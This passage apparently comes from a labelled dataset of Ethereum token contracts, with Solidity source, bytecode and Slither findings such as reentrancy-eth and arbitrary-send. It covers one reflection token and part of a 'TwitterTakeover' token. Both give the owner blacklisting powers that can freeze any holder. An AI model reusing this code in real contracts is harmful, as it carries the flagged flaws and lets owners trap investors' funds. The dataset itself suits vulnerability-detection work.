// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(10).mul(6));
_Buyback.transfer(amount.div(10).mul(4));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 20000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Deployer);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Deployer);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Deployer);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() {
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarketingWallet(address payable account) external onlyOwner() {
_Marketingfund = account;
}
function setDev(address payable account) external onlyOwner() {
_Deployer = account;
}
function setBB(address payable account) external onlyOwner() {
_Buyback = account;
}
} | 0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063d00efb2f1161008a578063d65169c911610064578063d65169c9146104fb578063dd62ed3e1461051b578063e01af92c14610561578063e47d60601461058157600080fd5b8063d00efb2f146104a5578063d477f05f146104bb578063d543dbeb146104db57600080fd5b8063c0e6b46e116100c6578063c0e6b46e14610422578063c3c8cd8014610442578063c9567bf914610457578063cba0e9961461046c57600080fd5b806395d89b41146103b3578063a9059cbb146103e2578063b515566a1461040257600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461034157806370a0823114610356578063715018a6146103765780638da5cb5b1461038b57600080fd5b8063437823ec146102e15780635932ead1146103015780635d098b381461032157600080fd5b806323b872dd1161019557806323b872dd14610263578063273123b71461028357806328667162146102a5578063313ce567146102c557600080fd5b806306fdde03146101c7578063095ea7b31461020d57806318160ddd1461023d57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600b81526a4d61646e65737320496e7560a81b60208201525b6040516102049190611d8f565b60405180910390f35b34801561021957600080fd5b5061022d610228366004611c20565b6105ba565b6040519015158152602001610204565b34801561024957600080fd5b50683635c9adc5dea000005b604051908152602001610204565b34801561026f57600080fd5b5061022d61027e366004611be0565b6105d1565b34801561028f57600080fd5b506102a361029e366004611b70565b61063a565b005b3480156102b157600080fd5b506102a36102c0366004611d4a565b61068e565b3480156102d157600080fd5b5060405160098152602001610204565b3480156102ed57600080fd5b506102a36102fc366004611b70565b61071b565b34801561030d57600080fd5b506102a361031c366004611d12565b610769565b34801561032d57600080fd5b506102a361033c366004611b70565b6107b1565b34801561034d57600080fd5b506102a36107fd565b34801561036257600080fd5b50610255610371366004611b70565b61082a565b34801561038257600080fd5b506102a361084c565b34801561039757600080fd5b506000546040516001600160a01b039091168152602001610204565b3480156103bf57600080fd5b506040805180820190915260068152654d6164496e7560d01b60208201526101f7565b3480156103ee57600080fd5b5061022d6103fd366004611c20565b6108c0565b34801561040e57600080fd5b506102a361041d366004611c4b565b6108cd565b34801561042e57600080fd5b506102a361043d366004611d4a565b610971565b34801561044e57600080fd5b506102a3610a10565b34801561046357600080fd5b506102a3610a46565b34801561047857600080fd5b5061022d610487366004611b70565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104b157600080fd5b5061025560165481565b3480156104c757600080fd5b506102a36104d6366004611b70565b610e0d565b3480156104e757600080fd5b506102a36104f6366004611d4a565b610e59565b34801561050757600080fd5b506102a3610516366004611b70565b610f26565b34801561052757600080fd5b50610255610536366004611ba8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056d57600080fd5b506102a361057c366004611d12565b610f72565b34801561058d57600080fd5b5061022d61059c366004611b70565b6001600160a01b03166000908152600e602052604090205460ff1690565b60006105c7338484610fb0565b5060015b92915050565b60006105de8484846110d4565b610630843361062b85604051806060016040528060288152602001611f60602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113b6565b610fb0565b5060019392505050565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161066490611de2565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106b85760405162461bcd60e51b815260040161066490611de2565b600181101580156106ca575060198111155b6107165760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d20323500000000006044820152606401610664565b600955565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161066490611de2565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161066490611de2565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146107db5760405162461bcd60e51b815260040161066490611de2565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b03161461081d57600080fd5b47610827816113f0565b50565b6001600160a01b0381166000908152600260205260408120546105cb90611485565b6000546001600160a01b031633146108765760405162461bcd60e51b815260040161066490611de2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105c73384846110d4565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161066490611de2565b60005b815181101561096d576001600e600084848151811061092957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061096581611ef5565b9150506108fa565b5050565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161066490611de2565b600081116109eb5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610664565b610a0a612710610a04683635c9adc5dea0000084611509565b90611588565b600d5550565b6011546001600160a01b0316336001600160a01b031614610a3057600080fd5b6000610a3b3061082a565b9050610827816115ca565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161066490611de2565b601454600160a01b900460ff1615610aca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610664565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b073082683635c9adc5dea00000610fb0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4057600080fd5b505afa158015610b54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b789190611b8c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc057600080fd5b505afa158015610bd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf89190611b8c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c4057600080fd5b505af1158015610c54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c789190611b8c565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610ca88161082a565b600080610cbd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d2057600080fd5b505af1158015610d34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d599190611d62565b5050601480546801158e460913d000006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610dd557600080fd5b505af1158015610de9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096d9190611d2e565b6000546001600160a01b03163314610e375760405162461bcd60e51b815260040161066490611de2565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e835760405162461bcd60e51b815260040161066490611de2565b60008111610ed35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610664565b610eeb6064610a04683635c9adc5dea0000084611509565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b03163314610f505760405162461bcd60e51b815260040161066490611de2565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b031614610f9257600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0383166110125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610664565b6001600160a01b0382166110735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610664565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610664565b6001600160a01b03821661119a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610664565b600081116111fc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610664565b6000546001600160a01b0384811691161480159061122857506000546001600160a01b03838116911614155b15611359576001600160a01b038316301461124c5760155481111561124c57600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561128e57506001600160a01b0382166000908152600e602052604090205460ff16155b80156112aa5750336000908152600e602052604090205460ff16155b6112b357600080fd5b60006112be3061082a565b9050600d5481106112ce5750600d545b600c546014549082101590600160a81b900460ff161580156112f95750601454600160b01b900460ff165b80156113025750805b801561131c57506014546001600160a01b03868116911614155b801561133657506013546001600160a01b03868116911614155b1561135657611344826115ca565b47801561135457611354476113f0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061139b57506001600160a01b03831660009081526005602052604090205460ff165b156113a4575060005b6113b08484848461176f565b50505050565b600081848411156113da5760405162461bcd60e51b81526004016106649190611d8f565b5060006113e78486611ede565b95945050505050565b6010546001600160a01b03166108fc611415600661140f85600a611588565b90611509565b6040518115909202916000818181858888f1935050505015801561143d573d6000803e3d6000fd5b506012546001600160a01b03166108fc61145d600461140f85600a611588565b6040518115909202916000818181858888f1935050505015801561096d573d6000803e3d6000fd5b60006006548211156114ec5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610664565b60006114f661179d565b90506115028382611588565b9392505050565b600082611518575060006105cb565b60006115248385611ebf565b9050826115318583611e9f565b146115025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610664565b600061150283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117c0565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561167457600080fd5b505afa158015611688573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ac9190611b8c565b816001815181106116cd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546116f39130911684610fb0565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061172c908590600090869030904290600401611e17565b600060405180830381600087803b15801561174657600080fd5b505af115801561175a573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061177c5761177c6117ee565b61178784848461181c565b806113b0576113b0600a54600855600b54600955565b60008060006117aa611913565b90925090506117b98282611588565b9250505090565b600081836117e15760405162461bcd60e51b81526004016106649190611d8f565b5060006113e78486611e9f565b6008541580156117fe5750600954155b1561180557565b60088054600a5560098054600b5560009182905555565b60008060008060008061182e87611955565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061186090876119b2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461188f90866119f4565b6001600160a01b0389166000908152600260205260409020556118b181611a53565b6118bb8483611a9d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161190091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061192f8282611588565b82101561194c57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119728a600854600954611ac1565b925092509250600061198261179d565b905060008060006119958e878787611b10565b919e509c509a509598509396509194505050505091939550919395565b600061150283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113b6565b600080611a018385611e87565b9050838110156115025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610664565b6000611a5d61179d565b90506000611a6b8383611509565b30600090815260026020526040902054909150611a8890826119f4565b30600090815260026020526040902055505050565b600654611aaa90836119b2565b600655600754611aba90826119f4565b6007555050565b6000808080611ad56064610a048989611509565b90506000611ae86064610a048a89611509565b90506000611b0082611afa8b866119b2565b906119b2565b9992985090965090945050505050565b6000808080611b1f8886611509565b90506000611b2d8887611509565b90506000611b3b8888611509565b90506000611b4d82611afa86866119b2565b939b939a50919850919650505050505050565b8035611b6b81611f3c565b919050565b600060208284031215611b81578081fd5b813561150281611f3c565b600060208284031215611b9d578081fd5b815161150281611f3c565b60008060408385031215611bba578081fd5b8235611bc581611f3c565b91506020830135611bd581611f3c565b809150509250929050565b600080600060608486031215611bf4578081fd5b8335611bff81611f3c565b92506020840135611c0f81611f3c565b929592945050506040919091013590565b60008060408385031215611c32578182fd5b8235611c3d81611f3c565b946020939093013593505050565b60006020808385031215611c5d578182fd5b823567ffffffffffffffff80821115611c74578384fd5b818501915085601f830112611c87578384fd5b813581811115611c9957611c99611f26565b8060051b604051601f19603f83011681018181108582111715611cbe57611cbe611f26565b604052828152858101935084860182860187018a1015611cdc578788fd5b8795505b83861015611d0557611cf181611b60565b855260019590950194938601938601611ce0565b5098975050505050505050565b600060208284031215611d23578081fd5b813561150281611f51565b600060208284031215611d3f578081fd5b815161150281611f51565b600060208284031215611d5b578081fd5b5035919050565b600080600060608486031215611d76578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dbb57858101830151858201604001528201611d9f565b81811115611dcc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e665784516001600160a01b031683529383019391830191600101611e41565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e9a57611e9a611f10565b500190565b600082611eba57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ed957611ed9611f10565b500290565b600082821015611ef057611ef0611f10565b500390565b6000600019821415611f0957611f09611f10565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082757600080fd5b801515811461082757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dad0fb4ce60a26067b7dbe0767856616d57ccfce0c23e376c19a7a799f55914564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,504 |
0xf5aba9f0c457cdea0378705d06beceb9a34dc8a5 | // SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TwitterTakeover is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TwitterTakeover";//
string private constant _symbol = "TTK";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 44000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 8;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xa896f2d0C37B0E6E6710CE9B4931B25E13EcE5F8);//
address payable private _marketingAddress = payable(0xa896f2d0C37B0E6E6710CE9B4931B25E13EcE5F8);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 440000000 * 10**9; // 1%
uint256 public _maxWalletSize = 1320000000 * 10**9; // 3%
uint256 public _swapTokensAtAmount = 440000000 * 10**9; // 1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
